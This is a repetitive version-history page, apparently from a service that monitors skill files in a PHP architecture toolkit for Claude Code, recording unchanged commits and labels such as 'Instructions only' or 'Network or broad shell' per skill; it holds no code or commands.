Not in the top 1,000 by GitHub stars
dykyi-roman/awesome-claude-code
PHP Architecture Toolkit for Claude Code (DDD, CQRS, Event Sourcing, Hexagonal, Clean Architecture, SOLID, GRASP, PSR, Design Patterns, Testing, Documentation, Code Review)
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
skills/access-control-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/adr-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/adr-template/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/analyze-ci-config/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/analyze-ci-logs/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/analyze-coupling-cohesion/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/analyze-docker-build-errors/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/analyze-docker-image-size/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/analyze-docker-runtime-errors/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/analyze-php-logs/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/analyze-solid-violations/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/analyze-test-coverage/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/api-design-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/api-doc-template/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/architecture-doc-template/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/bug-fix-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/bug-impact-analyzer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/bug-regression-preventer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/bug-root-cause-finder/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/caching-strategies-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/changelog-template/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-12-factor-compliance/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-abstract-factory/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-access-control-model/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-aggregate-consistency/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-async-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-authentication/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-authorization/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-batch-processing/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-bounded-contexts/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-caching-strategy/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-cascading-failures/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-class-length/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-code-style/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-command-injection/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-comments/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-connection-pool/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-consistency/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-context-communication/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-cors-security/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-cqrs-alignment/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-crypto-usage/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-csrf-protection/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-database-scaling/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-dependency-injection/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-dependency-vulnerabilities/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-deserialization/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-distributed-locks/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-doc-examples/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-doc-links/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-docker-compose-config/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-docker-healthcheck/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-docker-layer-efficiency/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-docker-php-config/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-docker-production-readiness/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-docker-secrets/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-docker-security/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-docker-user-permissions/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-encapsulation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-fallback-strategy/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-file-io/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-idempotency/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-immutability/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-index-usage/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-input-validation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-insecure-design/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-lazy-loading/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-leaky-abstractions/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-logging-failures/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-magic-values/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-mass-assignment/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-method-length/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-naming/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-nesting-depth/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-observability-coverage/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-output-encoding/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-path-traversal/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-pure-functions/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-query-efficiency/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-scalability-readiness/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-secure-headers/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-sensitive-data/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-serialization/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-side-effects/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-singleton-antipattern/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-sql-injection/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-ssrf/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-test-quality/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-timeout-strategy/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-type-juggling/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-version-consistency/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/check-xxe/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/ci-pipeline-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/ci-tools-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/claude-code-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/clean-arch-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/cloud-native-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/code-examples-template/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/codeigniter-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/consistency-patterns-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
